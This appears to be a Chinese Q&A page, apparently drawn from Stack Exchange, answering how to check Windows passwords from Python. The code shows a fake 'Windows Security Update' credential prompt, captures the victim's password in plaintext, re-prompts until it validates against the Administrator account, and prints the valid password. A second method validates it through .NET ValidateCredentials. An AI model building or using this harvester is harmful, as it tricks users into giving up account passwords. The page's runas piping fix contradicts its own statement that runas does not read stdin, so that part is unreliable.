Python通过subprocess调用runas实现Windows密码自动校验的方法咨询
Windows账户密码校验实现方案
问题核心说明
runas命令的密码输入默认读取控制台安全输入流,默认配置的subprocess.Popen无法直接通过标准输入写入密码,需要调整调用逻辑,以下是两种可落地的实现方式:
方案1:管道方式向runas传入密码(适配原有逻辑)
核心修改点
- 给
subprocess.Popen添加stdin=subprocess.PIPE参数,开启标准输入流 - 执行runas命令时,通过
communicate方法传入带换行符的密码,模拟手动输入回车的操作 - 通过进程返回码和错误输出判断密码是否正确
完整修改后代码
import sys import subprocess response = '' def run_command(command, input_data=None): try: subp = subprocess.Popen( command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE ) # 传入输入数据,编码为gbk适配Windows中文控制台环境 subp_output, errors = subp.communicate(input=input_data.encode('gbk') if input_data else None) return subp.returncode, subp_output, errors except KeyboardInterrupt: print("Terminated command.") return None, None, None while True: cmd1 = "$cred=$host.ui.promptforcredential('Windows Security Update','',[Environment]::UserName,[Environment]::UserDomainName);" cmd2 = 'echo $cred.getnetworkcredential().password;' full_cmd = 'Powershell "{} {}"'.format(cmd1, cmd2) retcode, output, errors = run_command(full_cmd) if retcode != 0: continue response = output.strip().decode('gbk') if len(response) >= 7: # 符合最小密码长度要求 # 校验密码有效性 check_cmd = 'runas /user:Administrator cmd' check_ret, check_out, check_err = run_command(check_cmd, input_data=response + '\n') # 密码正确时错误输出不含1326错误码(1326为用户名或密码错误的系统错误码) if check_err and b"1326" not in check_err: print("[+] 密码校验通过") break else: print("[-] 密码错误,请重新输入") print('[+] 有效密码: {}'.format(response))
方案2:更稳定的PowerShell原生校验(推荐)
不需要调用runas做交互,直接调用.NET内置的账户验证接口,准确率更高、无兼容问题,校验逻辑如下:
把命令中的
{用户名}、{密码}替换为实际值执行,返回True则密码正确,False则错误
Add-Type -AssemblyName System.DirectoryServices.AccountManagement;$ct=[System.DirectoryServices.AccountManagement.ContextType]::Machine;$pc=New-Object System.DirectoryServices.AccountManagement.PrincipalContext($ct,$env:COMPUTERNAME);$pc.ValidateCredentials('{用户名}','{密码}')
对应Python调用逻辑只需要把校验部分替换为上述PowerShell命令,直接解析返回结果即可。
内容的提问来源于stack exchange,提问作者Augurkenplukker12
相关产品推荐
相关产品推荐

